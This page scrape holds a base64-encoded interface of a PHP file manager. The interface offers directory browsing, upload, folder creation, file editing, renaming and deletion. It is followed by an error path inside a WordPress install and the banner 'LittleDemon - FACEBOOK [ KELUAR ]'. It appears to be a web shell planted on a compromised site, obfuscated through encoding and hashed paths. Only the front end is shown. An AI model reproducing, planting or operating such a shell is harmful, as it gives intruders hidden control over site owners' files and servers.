TsgcG9zaXRpb246IGZpeGVkOyB0b3A6IDA7IGxlZnQ6IDA7IHdpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDAsMCwwLDAuODUpOyB6LWluZGV4OiA5OTk7DQogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLm1vZGFsLWJveCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1wYW5lbCk7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWFjY2VudCk7DQogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OyBtaW4td2lkdGg6IDMwMHB4Ow0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgZ2FwOiAxNXB4Ow0KICAgICAgICB9DQoNCiAgICAgICAgLm1vZGFsLWhlYWRlciB7IGZvbnQtd2VpZ2h0OiBib2xkOyBjb2xvcjogdmFyKC0tYWNjZW50KTsgZm9udC1zaXplOiAxNXB4OyB9DQogICAgICAgIA0KICAgICAgICAubW9kYWwtZm9vdGVyIHsgdGV4dC1hbGlnbjogcmlnaHQ7IGRpc3BsYXk6IGZsZXg7IGp1c3RpZnktY29udGVudDogZmxleC1lbmQ7IGdhcDogMTBweDsgfQ0KDQogICAgICAgIC8qIEVkaXRvciBTcGVjaWZpYyAqLw0KICAgICAgICAjZWRpdG9yLW1vZGFsIC5tb2RhbC1ib3ggeyB3aWR0aDogODAlOyBoZWlnaHQ6IDgwJTsgfQ0KICAgICAgICAjZWRpdG9yLWFyZWEgeyBmbGV4OiAxOyByZXNpemU6IG5vbmU7IGJhY2tncm91bmQ6IHZhcigtLWJnLWlucHV0KTsgY29sb3I6IHZhcigtLXRleHQtbWFpbik7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7IGZvbnQtZmFtaWx5OiB2YXIoLS10ZXJtaW5hbC1mb250KTsgcGFkZGluZzogMTBweDsgfQ0KDQogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXIgeyB3aWR0aDogOHB4OyB9DQogICAgICAgIDo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2sgeyBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1kYXJrKTsgfQ0KICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iIHsgYmFja2dyb3VuZDogdmFyKC0tYm9yZGVyKTsgfQ0KICAgICAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iOmhvdmVyIHsgYmFja2dyb3VuZDogdmFyKC0tYWNjZW50KTsgfQ0KDQogICAgPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KDQo8ZGl2IGNsYXNzPSJ0ZXJtaW5hbC13aW5kb3ciPg0KICAgIDwhLS0gSGVhZGVyIC0tPg0KICAgIDxkaXYgY2xhc3M9InRvcC1iYXIiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJ3aW5kb3ctY29udHJvbHMiPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IHJlZCI+PC9zcGFuPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IHllbGxvdyI+PC9zcGFuPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNvbnRyb2wtZG90IGdyZWVuIj48L3NwYW4+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICANCiAgICAgICAgPGRpdiBjbGFzcz0ibmF2LWFyZWEiPg0KICAgICAgICAgICAgPD9waHAgaWYgKCRjYW5fZ29fdXApOiA/Pg0KICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij88P3BocCBlY2hvIFBfRElSOyA/Pj08P3BocCBlY2hvIGdldF9oYXNoKCRwYXJlbnRfZGlyKTsgPz4iIGNsYXNzPSJidG4tdXAiIHRpdGxlPSJQYXJlbnQgRGlyZWN0b3J5Ij4mbHQ7IFVQPC9hPg0KICAgICAgICAgICAgPD9waHAgZWxzZTogPz4NCiAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iYnRuLXVwIGRpc2FibGVkIj4mbHQ7IFVQPC9zcGFuPg0KICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICANCiAgICAgICAgICAgIDxkaXYgY2xhc3M9InBhdGgtZGlzcGxheSIgdGl0bGU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkY3VycmVudF9kaXIpOyA/PiI+DQogICAgICAgICAgICAgICAgPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRjdXJyZW50X2Rpcik7ID8+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQoNCiAgICA8IS0tIE1haW4gQ29udGVudCAtLT4NCiAgICA8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPg0KICAgICAgICA8IS0tIFN0YXR1cyBNZXNzYWdlIC0tPg0KICAgICAgICA8P3BocCBpZiAoJHN0YXR1c19tc2cpOiA/Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29uc29sZS1tc2cgPD9waHAgZWNobyAkc3RhdHVzX3R5cGU7ID8+Ij4NCiAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRzdGF0dXNfbXNnOyA/Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KDQogICAgICAgIDxkaXYgY2xhc3M9ImZpbGUtaGVhZGVyIj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1wZXJtIj5QZXJtczwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLXNpemUiPlNpemU8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1kYXRlIj5Nb2RpZmllZDwvZGl2Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW5hbWUiPk5hbWU8L2Rpdj4NCiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1hY3Rpb25zIj5BY3Rpb25zPC9kaXY+DQogICAgICAgIDwvZGl2Pg0KDQogICAgICAgIDw/cGhwIGZvcmVhY2ggKCRhbGxfaXRlbXMgYXMgJGl0ZW0pOiA/Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1yb3cgPD9waHAgZWNobyAkaXRlbVsnaXNfZGlyJ10gPyAnaXMtZGlyJyA6ICdpcy1maWxlJzsgPz4iPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1wZXJtIj48P3BocCBlY2hvICRpdGVtWydwZXJtcyddOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1zaXplIj48P3BocCBlY2hvICRpdGVtWydpc19kaXInXSA/ICdESVInIDogZm9ybWF0X3NpemUoJGl0ZW1bJ3NpemUnXSk7ID8+PC9kaXY+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLWRhdGUiPjw/cGhwIGVjaG8gJGl0ZW1bJ21vZCddOyA/PjwvZGl2Pg0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1uYW1lIj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpdGVtWydpc19kaXInXSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/PD9waHAgZWNobyBQX0RJUjsgPz49PD9waHAgZWNobyAkaXRlbVsnaGFzaCddOyA/PiIgY2xhc3M9ImlzLWxpbmsiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkaXRlbVsnbmFtZSddKTsgPz48L2E+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGl0ZW1bJ25hbWUnXSk7ID8+PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1hY3Rpb25zIj4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCEkaXRlbVsnaXNfZGlyJ10pOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuRWRpdG9yKCc8P3BocCBlY2hvICRpdGVtWydoYXNoJ107ID8+JywgJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhhZGRzbGFzaGVzKCRpdGVtWyduYW1lJ10pKTsgPz4nKSI+W2VkaXRdPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuUmVuYW1lTW9kYWwoJzw/cGhwIGVjaG8gJGl0ZW1bJ2hhc2gnXTsgPz4nLCAnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJGl0ZW1bJ25hbWUnXSkpOyA/PicpIj5bcmVuYW1lXTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5rIiBvbmNsaWNrPSJvcGVuRGVsZXRlTW9kYWwoJzw/cGhwIGVjaG8gJGl0ZW1bJ2hhc2gnXTsgPz4nLCAnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJGl0ZW1bJ25hbWUnXSkpOyA/PicpIj5bZGVsZXRlXTwvc3Bhbj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8P3BocCBlbmRmb3JlYWNoOyA/Pg0KICAgICAgICANCiAgICAgICAgPD9waHAgaWYgKGVtcHR5KCRhbGxfaXRlbXMpKTogPz4NCiAgICAgICAgICAgIDxkaXYgc3R5bGU9InBhZGRpbmc6MTBweDsgY29sb3I6dmFyKC0tdGV4dC1kaW0pOyI+RGlyZWN0b3J5IGlzIGVtcHR5LjwvZGl2Pg0KICAgICAgICA8P3BocCBlbmRpZjsgPz4NCiAgICA8L2Rpdj4NCg0KICAgIDwhLS0gQm90dG9tIFBhbmVsIC0tPg0KICAgIDxkaXYgY2xhc3M9ImJvdHRvbS1wYW5lbCI+DQogICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgY2xhc3M9ImFjdGlvbi1mb3JtIiBzdHlsZT0iZmxleDoyOyI+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvIFBfQUNUSU9OOyA/PiIgdmFsdWU9Ijw/cGhwIGVjaG8gQV9VUDsgPz4iPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX1RBUkc7ID8+IiB2YWx1ZT0iPD9waHAgZWNobyBnZXRfaGFzaCgkY3VycmVudF9kaXIpOyA/PiI+DQogICAgICAgICAgICA8c3BhbiBjbGFzcz0iY21kLWxpbmUiPnVwbG9hZCZndDs8L3NwYW4+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iPD9waHAgZWNobyBQX0ZJTEU7ID8+Ij4NCiAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5TZW5kPC9idXR0b24+DQogICAgICAgIDwvZm9ybT4NCg0KICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGNsYXNzPSJhY3Rpb24tZm9ybSIgc3R5bGU9ImZsZXg6MTsiPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX0FDVElPTjsgPz4iIHZhbHVlPSI8P3BocCBlY2hvIEFfTUtESVI7ID8+Ij4NCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9UQVJHOyA/PiIgdmFsdWU9Ijw/cGhwIGVjaG8gZ2V0X2hhc2goJGN1cnJlbnRfZGlyKTsgPz4iPg0KICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImNtZC1saW5lIj5ta2RpciZndDs8L3NwYW4+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyBQX05BTUU7ID8+IiBwbGFjZWhvbGRlcj0ibmV3X2ZvbGRlciIgcmVxdWlyZWQ+DQogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCI+KzwvYnV0dG9uPg0KICAgICAgICA8L2Zvcm0+DQogICAgPC9kaXY+DQo8L2Rpdj4NCg0KPCEtLSBISURERU4gRk9STVMgRk9SIEFDVElPTlMgLS0+DQo8Zm9ybSBpZD0iYWN0aW9uLWZvcm0iIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9BQ1RJT047ID8+IiBpZD0iYWN0LWFjdGlvbiI+DQogICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX0hBU0g7ID8+IiBpZD0iYWN0LWhhc2giPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9OQU1FOyA/PiIgaWQ9ImFjdC1uZXduYW1lIj4NCjwvZm9ybT4NCg0KPCEtLSBERUxFVEUgTU9EQUwgLS0+DQo8ZGl2IGlkPSJkZWxldGUtbW9kYWwiIGNsYXNzPSJtb2RhbC1vdmVybGF5Ij4NCiAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib3giPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPkRlbGV0ZSBDb25maXJtYXRpb248L2Rpdj4NCiAgICAgICAgPGRpdj5BcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIDxiIGlkPSJkZWwtZmlsZW5hbWUiPmZpbGU8L2I+PzwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjb25maXJtRGVsZXRlKCkiPkRlbGV0ZTwvYnV0dG9uPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8IS0tIFJFTkFNRSBNT0RBTCAtLT4NCjxkaXYgaWQ9InJlbmFtZS1tb2RhbCIgY2xhc3M9Im1vZGFsLW92ZXJsYXkiPg0KICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJveCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+UmVuYW1lPC9kaXY+DQogICAgICAgIDxkaXY+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgaWQ9InJlbi1pbnB1dCIgc3R5bGU9IndpZHRoOjEwMCU7IHBhZGRpbmc6OHB4OyI+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjb25maXJtUmVuYW1lKCkiPlJlbmFtZTwvYnV0dG9uPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8IS0tIEVESVRPUiBNT0RBTCAtLT4NCjxkaXYgaWQ9ImVkaXRvci1tb2RhbCIgY2xhc3M9Im1vZGFsLW92ZXJsYXkiPg0KICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJveCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciIgc3R5bGU9ImRpc3BsYXk6ZmxleDsganVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47Ij4NCiAgICAgICAgICAgIDxzcGFuIGlkPSJlZGl0b3ItZmlsZW5hbWUiPkVkaXRpbmc8L3NwYW4+DQogICAgICAgICAgICA8c3BhbiBzdHlsZT0iY3Vyc29yOnBvaW50ZXI7IiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIj5beF08L3NwYW4+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8dGV4dGFyZWEgaWQ9ImVkaXRvci1hcmVhIj48L3RleHRhcmVhPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJzYXZlRWRpdCgpIj5TYXZlPC9idXR0b24+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KPC9kaXY+DQoNCjxzY3JpcHQ+DQogICAgLy8gSGVscGVycw0KICAgIGNvbnN0IFBfQUNUSU9OID0gJzw/cGhwIGVjaG8gUF9BQ1RJT047ID8+JzsNCiAgICBjb25zdCBBX0RFTCA9ICc8P3BocCBlY2hvIEFfREVMOyA/Pic7DQogICAgY29uc3QgQV9SRU4gPSAnPD9waHAgZWNobyBBX1JFTjsgPz4nOw0KICAgIGNvbnN0IEFfRURJVCA9ICc8P3BocCBlY2hvIEFfRURJVDsgPz4nOw0KICAgIA0KICAgIGxldCBjdXJyZW50QWN0aW9uSGFzaCA9IG51bGw7DQoNCiAgICAvLyBNb2RhbCBIYW5kbGVycw0KICAgIGZ1bmN0aW9uIGNsb3NlTW9kYWxzKCkgew0KICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcubW9kYWwtb3ZlcmxheScpLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICdub25lJyk7DQogICAgICAgIGN1cnJlbnRBY3Rpb25IYXNoID0gbnVsbDsNCiAgICB9DQoNCiAgICAvLyBEZWxldGUgTG9naWMNCiAgICBmdW5jdGlvbiBvcGVuRGVsZXRlTW9kYWwoaGFzaCwgbmFtZSkgew0KICAgICAgICBjdXJyZW50QWN0aW9uSGFzaCA9IGhhc2g7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkZWwtZmlsZW5hbWUnKS5pbm5lclRleHQgPSBuYW1lOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGVsZXRlLW1vZGFsJykuc3R5bGUuZGlzcGxheSA9ICdmbGV4JzsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBjb25maXJtRGVsZXRlKCkgew0KICAgICAgICBpZihjdXJyZW50QWN0aW9uSGFzaCkgew0KICAgICAgICAgICAgc3VibWl0QWN0aW9uKEFfREVMLCBjdXJyZW50QWN0aW9uSGFzaCk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvLyBSZW5hbWUgTG9naWMNCiAgICBmdW5jdGlvbiBvcGVuUmVuYW1lTW9kYWwoaGFzaCwgbmFtZSkgew0KICAgICAgICBjdXJyZW50QWN0aW9uSGFzaCA9IGhhc2g7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW4taW5wdXQnKS52YWx1ZSA9IG5hbWU7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW5hbWUtbW9kYWwnKS5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGNvbmZpcm1SZW5hbWUoKSB7DQogICAgICAgIGlmKGN1cnJlbnRBY3Rpb25IYXNoKSB7DQogICAgICAgICAgICBsZXQgbmV3TmFtZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW4taW5wdXQnKS52YWx1ZTsNCiAgICAgICAgICAgIGlmKG5ld05hbWUpIHsNCiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rpb24tZm9ybScpOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtYWN0aW9uJykudmFsdWUgPSBBX1JFTjsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0LWhhc2gnKS52YWx1ZSA9IGN1cnJlbnRBY3Rpb25IYXNoOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtbmV3bmFtZScpLnZhbHVlID0gbmV3TmFtZTsNCiAgICAgICAgICAgICAgICBmb3JtLnN1Ym1pdCgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgLy8gRWRpdG9yIExvZ2ljDQogICAgZnVuY3Rpb24gb3BlbkVkaXRvcihoYXNoLCBuYW1lKSB7DQogICAgICAgIGN1cnJlbnRBY3Rpb25IYXNoID0gaGFzaDsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VkaXRvci1maWxlbmFtZScpLmlubmVyVGV4dCA9ICdFZGl0aW5nOiAnICsgbmFtZTsNCiAgICAgICAgDQogICAgICAgIHZhciB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsNCiAgICAgICAgeGhyLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgaWYgKHhoci5yZWFkeVN0YXRlID09PSA0KSB7DQogICAgICAgICAgICAgICAgaWYgKHhoci5zdGF0dXMgPT09IDIwMCkgew0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZWRpdG9yLWFyZWEnKS52YWx1ZSA9IHhoci5yZXNwb25zZVRleHQ7DQogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3ItbW9kYWwnKS5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGFsZXJ0KCJFcnJvciBsb2FkaW5nIGZpbGUuIik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9Ow0KICAgICAgICB4aHIub3BlbignR0VUJywgJz88P3BocCBlY2hvIFBfUkFXOyA/Pj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGhhc2gpLCB0cnVlKTsNCiAgICAgICAgeGhyLnNlbmQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBzYXZlRWRpdCgpIHsNCiAgICAgICAgaWYgKCFjdXJyZW50QWN0aW9uSGFzaCkgcmV0dXJuOw0KICAgICAgICBsZXQgY29udGVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3ItYXJlYScpLnZhbHVlOw0KICAgICAgICANCiAgICAgICAgbGV0IGZvcm0gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdmb3JtJyk7DQogICAgICAgIGZvcm0ubWV0aG9kID0gJ1BPU1QnOw0KICAgICAgICBmb3JtLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQoNCiAgICAgICAgY3JlYXRlSW5wdXQoZm9ybSwgJzw/cGhwIGVjaG8gUF9BQ1RJT047ID8+JywgJzw/cGhwIGVjaG8gQV9FRElUOyA/PicpOw0KICAgICAgICBjcmVhdGVJbnB1dChmb3JtLCAnPD9waHAgZWNobyBQX0hBU0g7ID8+JywgY3VycmVudEFjdGlvbkhhc2gpOw0KICAgICAgICBjcmVhdGVJbnB1dChmb3JtLCAnPD9waHAgZWNobyBQX0NPTlQ7ID8+JywgY29udGVudCk7DQoNCiAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChmb3JtKTsNCiAgICAgICAgZm9ybS5zdWJtaXQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBzdWJtaXRBY3Rpb24oYWN0aW9uLCBoYXNoKSB7DQogICAgICAgIGxldCBmb3JtID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGlvbi1mb3JtJyk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtYWN0aW9uJykudmFsdWUgPSBhY3Rpb247DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtaGFzaCcpLnZhbHVlID0gaGFzaDsNCiAgICAgICAgZm9ybS5zdWJtaXQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBjcmVhdGVJbnB1dChmb3JtLCBuYW1lLCB2YWx1ZSkgew0KICAgICAgICBsZXQgaW5wdXQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpOw0KICAgICAgICBpbnB1dC50eXBlID0gJ2hpZGRlbic7DQogICAgICAgIGlucHV0Lm5hbWUgPSBuYW1lOw0KICAgICAgICBpbnB1dC52YWx1ZSA9IHZhbHVlOw0KICAgICAgICBmb3JtLmFwcGVuZENoaWxkKGlucHV0KTsNCiAgICB9DQo8L3NjcmlwdD4NCg0KPC9ib2R5Pg0KPC9odG1sPg==:237) in /home/livedhms/streamsza.com/wp-includes/pluggable.php on line 1538

LittleDemon - FACEBOOK
[ KELUAR ]